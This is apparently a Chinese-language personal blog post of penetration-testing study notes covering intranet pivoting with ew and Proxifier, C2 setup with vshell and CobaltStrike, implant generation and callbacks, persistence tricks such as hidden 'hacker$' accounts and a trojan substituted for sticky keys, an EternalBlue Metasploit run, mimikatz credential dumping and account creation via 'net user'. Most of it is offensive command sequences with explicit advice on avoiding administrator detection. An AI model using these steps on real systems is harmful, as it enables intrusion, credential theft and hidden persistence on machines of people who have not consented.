渗透学习
以下所有打码的内容都是我的服务器的ip地址
初识渗透
我们如果需要打进内网的机子,则需要先在外网的机子上搭建代理才能访问内网机子
利用漏洞,打进外网
如果是ssh直接连接的话就是最简单的了
连接建议使用tabby,够简单轮椅。(可以看我的那篇awd初体验 | MetaVi)
如果是别的的话我们需要先利用web知识打进外网
如:利用thinkphp漏洞传上木马再蚁剑连接
搭建代理,连接内网
外网的机子我们连接上shell后,我们需要把ew(GitHub - idlefire/ew: 内网穿透(跨平台))安装到这个外网机子上,安装的时候最好把fscan也装上。
(如果是ssh连接的话,这里就展示出tabby的优势之处了——sftp可以直接拖拽上传。当然蚁剑也可以拖拽上传)
安装好之后就可以搭建代理服务了
1 | chmod +x ew_for_linux64 |
显示这个:ssocksd 0.0.0.0:22222 <--[10000 usec]--> socks server
就表示成功了
之后我们需要proxifier
设置好,这个网上教程还是很多的
设置好之后就可以访问内网了,怎么鉴别是否成功,我们直接在浏览器上访问内网看能否访问就行。
(有些连接上之后就不能再访问网站了如chatgpt,csdn等等,我们想访问的时候就要先断开proxifier。)
那我们怎么知道有那些内网呢?
自然是fscan扫一下了
扫完之后就能给你报有那些内网机子,然后给就可以打了。
C2
打穿了外网之后就是C2(control and command)了
权限维持最重要的是不能让管理员发现这台机子被打穿了,也就是说不能留下黑客的痕迹,或者将木马藏的很深,查杀不到。
常见的权限维持比如在新建的用户后面加上$,如hacker$
,因为windows下$表示隐藏用户,一般访问不到。(linux下如加.)
又比如可以将木马替换掉粘滞键,管理员查杀掉一般木马,但是按出粘滞键的时候木马又会上线,进行权限维持。
权限维持看这个干货 | 最全Windows权限维持总结
那怎么起交互式shell呢?
服务器
打c2前建议买一个服务器,服务器的购买网上还是挺多的,不过我们是用来打渗透用的所以也不用太买太好,最便宜的就行,比如我买的就是29/年的。(虽然听c3师傅说可能有点卡,不过无所谓了)
那为什么要买一个服务器呢?
因为你电脑本机是没有公网ip的,生成的木马的回连地址(监听地址)是要有公网ip才能访问的到,否则是监听不到的。
vshell
一种方法是运行vshell,这个网上流传的版本很多自行下载。而且vshell最强的点在于靶机一旦上线后可以微信钉钉提醒你。优点是界面简洁易懂,缺点好像是插件啥的没那么完善。最推荐这个,简单易懂
windows服务器直接运行exe
linux服务器记得添加可执行权限
1 | chmod +x ./v_linux_amd64 |
1 | ./v_linux_amd64 |
这样就运行成功了,端口是8082(记得要在买的服务器上开放8082端口的访问)
(本机运行的话访问的网址是127.0.0.1:8082,或者选择将这个vshell传到服务器上运行,后面我们访问的时候修改ip为x.x.x.x:8082,x是你服务器的ip)
先在监听管理中选择新增,监听地址写0.0.0.0就行,外网连接地址写自己服务器的地址(这个就是木马的回连地址),端口记得开大点(这个端口)
再可以在客户端生成
中选择一种木马类型生成后传到靶机就能上线了
或者直接点上线命令查看
这里的命令直接复制webshell运行就行,就可以上线了
或者选stage反向客户端,生成木马
生成完木马传到靶机上,在靶机上运行一下
再在客户端管理中刷新一下就可以发现上线了
点主机管理,命令控制,交互式终端,就能拿到交互式shell了
还可以选择屏幕监控,屏幕截屏,还挺厉害的。
CobaltStrike
这个我个人用来还是蛮好用的,优势是生态都很丰富,缺点就是有点没那么易懂。(看完不懂的可以看这个CobaltStrike4.8–云服务器搭建)
cs分为服务端和客户端,首先你要起一个cs(在服务器上)
先安装java11
1 | uname -r |
然后开始起cs服务
1 | cd Server |
添加可读写权限
1 | chmod 777 * |
启动cs
1 | ./teamserver x.x.x.x admin |
出现这些就说明成功了(开放的端口是50050,记得在服务器上开放50050端口)
接下来就是启动客户端了,
目录 | 填写 |
---|---|
alias | 别名,可以随意设置 |
host | 主机ip,填你服务器的IP |
port | 端口,50050 |
user | 用户,启动后给别人看的名字,可以瞎写 |
password | 之前设置的密码,admin |
校验完hash之后就可以用了
先添加一个监听器,在cobaltstrike->监听器->add
name随意,http hosts和http host(stager)填你服务器的ip即可
之后点这个就可以生成木马,
传到靶机上双击一下就可以了,木马就上线了
然后上面就能显示了,点开就有shell了。
(命令行交互有些延迟,显示[*] Tasked beacon to list files in .
可能需要等一会,这点也是cs的不太好的地方)
记得在运行的前面加上shell,即
1 | shell whoami |
等等,因为光whoami它识别不了。
永恒之蓝漏洞
一个很著名的漏洞
我们要先配置好msf(Nightly Installers | Metasploit Documentation Penetration Testing Software, Pen Testing Security)
下载windows版本的(kali自带一个msf)
下载后记得手动添加环境变量
运行
1 | msfconsole |
成功之后长这样(图案每次随机生成)
然后我们就可以选择漏洞类型了
1 | search ms17_010 |
然后我们需要填远程ip
1 | set RHOST ip地址 |
然后直接
1 | run |
如果还是不行的话我们
1 | show options |
看看有什么没填。
1 | set payload windows/x64/meterpreter/bind_tcp_uuid |
run完成功后就显示win
win之后我们就能拿到权限了
弹出
1 | meterpreter> |
就说明已经成功了
域渗透
这里推荐一个比较好用的工具的收集的地方:Lucifer1993/PLtools: 整理一些内网常用渗透小工具
1、域的简单介绍
将网络中多台计算机逻辑上组织到一起进行集中管理,这种区别于工作组的逻辑环境叫 做域。域是由域控制器(Domain Controller)和成员计算机组成,域控制器就是安装了活动 目录(Active Directory)的计算机。活动目录提供了存储网络上对象信息并使用网络
信息收集
信息收集阶段我们要尽可能的想办法收集多,多扫扫
可以用masscan进行端口检测
1 | masscan-p 1-65535 192.168.0.150--rate=1000 |
nmap也可以
内网信息收集(msf)
1 | # 通过ping命令 |
扫到主机ip后去扫描有哪些开放的端口
利用rdp等打进机子之后怎么进行域渗透呢?
首先要发现域
1 | systeminfo |
会看到类似 域(Domain):xiaorang.lab
然后传mimikatz读密码(读票据)
1 | privilege::debug |
然后就可以打约束委派攻击了
工具准备:adfind,kekeo,mimikatz,rubeus等
约束委派攻击
相关博客:浅谈约束委派攻击-先知社区
RDP
连rdp的时候要把自己的防火墙关闭,并且proxifier设置全局代理
在写net user的时候要注意用户名和密码,太简单的密码windows会不让你写进去
比如rdpv rdpv@666就不让写(亲身惨痛教训)
可以用这个
1 | net user test Test@114514 /add |